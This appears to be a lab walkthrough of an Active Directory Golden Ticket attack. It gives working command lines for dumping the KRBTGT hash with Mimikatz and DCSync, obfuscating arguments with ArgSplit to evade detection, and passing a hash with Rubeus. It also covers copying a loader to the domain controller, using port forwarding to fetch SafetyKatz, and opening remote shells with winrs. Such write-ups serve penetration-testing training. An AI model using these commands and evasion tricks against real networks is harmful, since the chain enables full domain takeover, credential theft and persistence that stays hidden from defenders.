A Golden Ticket attack consist of the creating of a legitimate Ticket Granting Ticket (TGT) that impersonates any user through the use of the NTLM hash of the krbtgt account. (Unlimited Access to AD).
Golden Ticket
Golden Ticket is used for persistence. Compromising a DC is a prerequisite to perform this attack.
Once we have admin access to DC, the KRBTGT hash is extracted to sign TGT.
We can forge a TGT (Golden Ticket) by using the KRBTGT hash.
Since the Golden Ticket is encrypted and signed with the KRBTGT hash, it is seen as legitimate by other domain controllers and services.
Very noisy as we are accessing DC to extract KRBTGT credentials. To avoid detection, use accounts other than administrator and ensure you check optional arguments like startoffset, etc.
To get KRBTGT hash, execute Mimikatz on DC or DA:
Invoke-Mimikatz-Command '"lsadump::lsa /patch"'-ComputerName dcorp-dc OR # DC-Sync to get KRBTGT without needing code execution on target DC.SafeyKatz.exe"lsadump::dcsync /user:dcorp-dc\krbtgt""exit"
We can now access filesystem on DC and also get a shell:
PS C:\AD\Tools> ls \\dcorp-dc\c$
Using Rubeus, SafetyKatz, or BetterSafetyKatz.exe
Open CMD and use ArgSplit to encode asktgt.
C:\AD\Tools>ArgSplit.bat
[!] Argument Limit: 180 characters
[+] Enter a string: asktgt
set "z=t"
set "y=g"
set "x=t"
set "w=k"
set "v=s"
set "u=a"
set "Pwn=%u%%v%%w%%x%%y%%z%"
Open an elevated DA cmd by using DA Hash extracted previously:
C:\AD\Tools\Rubeus.exe %Pwn% /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
#Copy Loader.exe to DCecho F | xcopy C:\AD\Tools\Loader.exe \\dcorp-dc\C$\Users\Public\Loader.exe/Y# Spawn interactive shell for DCwinrs -r:dcorp-dc cmd# Set up port forwardingnetsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.72
Run SafetyKatz to dump KRBTGT hashes and fetch SID
#Encode lsadump::lsa using ArgSplitset "z=a"set "y=s"set "x=l"set "w=:"set "v=:"set "u=p"set "t=m"set "s=u"set "r=d"set "q=a"set "p=s"set "o=l"set "Pwn=%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"# In elevated DA cmd:C:\Users\Public\Loader.exe-path http://127.0.0.1:8080/SafetyKatz.exe-args "%Pwn% /patch""exit"
Exit from mimikatz and DA shell. From Student cmd, run Rubeus to get the golden ticket. It will also output the command to forge the Golden ticket and inject it in the current process. Add /ptt at the end to inject it in the current process.
Finally, we can use winrs to login to dcorp-dc from Student.
C:\AD\Tools>winrs -r:dcorp-dc cmd
Microsoft Windows [Version 10.0.20348.2227]
(c) Microsoft Corporation. All rights reserved.
C:\Users\Administrator>set username
set username
USERNAME=Administrator